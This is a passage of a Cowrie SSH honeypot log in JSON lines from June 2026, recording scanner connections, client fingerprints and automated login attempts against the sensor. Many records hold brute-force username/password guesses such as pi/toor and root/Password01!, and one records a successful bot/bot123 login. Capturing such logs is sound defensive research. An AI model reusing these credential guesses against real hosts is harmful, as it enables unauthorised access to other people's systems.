M\\xbd\\x84\\x7f\\xeb:\\xa4(6\\x0c\\xf1\\xed\\xb4\\xf5T\\x910\\xc9\\x01\\x1c=\\xd6I\\xbb_bG\\x9e\\x98\\xd3\\xaeU\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:40.952554Z","src_ip":"23.175.50.51","session":"756aa4020e44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:40.967322Z","src_ip":"101.36.122.139","session":"4bf76f2fbc35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":37270,"dst_ip":"10.17.0.5","dst_port":22,"session":"276af313569d","protocol":"ssh","message":"New connection: 45.153.34.195:37270 (10.17.0.5:22) [session: 276af313569d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:41.410125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:41.421559Z","src_ip":"45.153.34.195","session":"276af313569d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:41.515603Z","src_ip":"45.153.34.195","session":"276af313569d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"toor","message":"login attempt [pi/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:41.822997Z","src_ip":"45.153.34.195","session":"276af313569d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maria","password":"maria","message":"login attempt [maria/maria] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:41.869366Z","src_ip":"101.36.122.139","session":"4bf76f2fbc35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:42.906167Z","src_ip":"45.153.34.195","session":"276af313569d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:43.089341Z","src_ip":"101.36.122.139","session":"4bf76f2fbc35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":17052,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b2377b5592d","protocol":"ssh","message":"New connection: 91.92.40.36:17052 (10.17.0.5:22) [session: 3b2377b5592d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:43.398099Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":59680,"dst_ip":"10.17.0.5","dst_port":22,"session":"c76282c11b17","protocol":"ssh","message":"New connection: 45.153.34.195:59680 (10.17.0.5:22) [session: c76282c11b17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:44.355125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:44.380759Z","src_ip":"45.153.34.195","session":"c76282c11b17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:44.460902Z","src_ip":"45.153.34.195","session":"c76282c11b17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ecommerce","password":"ecommerce","message":"login attempt [ecommerce/ecommerce] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:44.783181Z","src_ip":"45.153.34.195","session":"c76282c11b17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:45.908547Z","src_ip":"45.153.34.195","session":"c76282c11b17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"30.4","message":"Connection lost after 30.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:46.125426Z","src_ip":"23.175.50.51","session":"756aa4020e44","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot123","message":"login attempt [bot/bot123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:46.415830Z","src_ip":"91.92.40.36","session":"1c2bbcbe4867","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:46.952516Z","src_ip":"91.92.40.36","session":"3b2377b5592d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:46.959264Z","src_ip":"91.92.40.36","session":"3b2377b5592d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":59690,"dst_ip":"10.17.0.5","dst_port":22,"session":"b013cfd95659","protocol":"ssh","message":"New connection: 45.153.34.195:59690 (10.17.0.5:22) [session: b013cfd95659]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:47.219421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:47.374205Z","src_ip":"45.153.34.195","session":"b013cfd95659","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:47.377000Z","src_ip":"45.153.34.195","session":"b013cfd95659","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password01!","message":"login attempt [root/Password01!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:47.748338Z","src_ip":"45.153.34.195","session":"b013cfd95659","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centreon","password":"centreon","message":"login attempt [centreon/centreon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:48.474032Z","src_ip":"91.92.40.36","session":"e251096fe104","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:48.913106Z","src_ip":"45.153.34.195","session":"b013cfd95659","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":59694,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ddf229406ab","protocol":"ssh","message":"New connection: 45.153.34.195:59694 (10.17.0.5:22) [session: 8ddf229406ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:50.202646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:50.359727Z","src_ip":"45.153.34.195","session":"8ddf229406ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:50.363081Z","src_ip":"45.153.34.195","session":"8ddf229406ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":43418,"dst_ip":"10.17.0.5","dst_port":22,"session":"af2e3b79db3f","protocol":"ssh","message":"New connection: 91.92.40.36:43418 (10.17.0.5:22) [session: af2e3b79db3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:50.431812Z"}
{"eventid":"cowrie.login.failed","username":"spark","password":"spark","message":"login attempt [spark/spark] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:50.909361Z","src_ip":"45.153.34.195","session":"8ddf229406ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:52.049359Z","src_ip":"45.153.34.195","session":"8ddf229406ab","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:52.711936Z","src_ip":"91.92.40.36","session":"af2e3b79db3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:52.718279Z","src_ip":"91.92.40.36","session":"af2e3b79db3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.9","message":"Connection lost after 17.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:52.817555Z","src_ip":"91.92.40.36","session":"e251096fe104","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":63638,"dst_ip":"10.17.0.5","dst_port":22,"session":"9416a6b85792","protocol":"ssh","message":"New connection: 45.153.34.195:63638 (10.17.0.5:22) [session: 9416a6b85792]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:53.165078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:53.170010Z","src_ip":"45.153.34.195","session":"9416a6b85792","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:53.420833Z","src_ip":"45.153.34.195","session":"9416a6b85792","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"localhost","message":"login attempt [root/localhost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:53.916396Z","src_ip":"45.153.34.195","session":"9416a6b85792","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:54.476871Z","src_ip":"91.92.40.36","session":"1c2bbcbe4867","protocol":"ssh"}
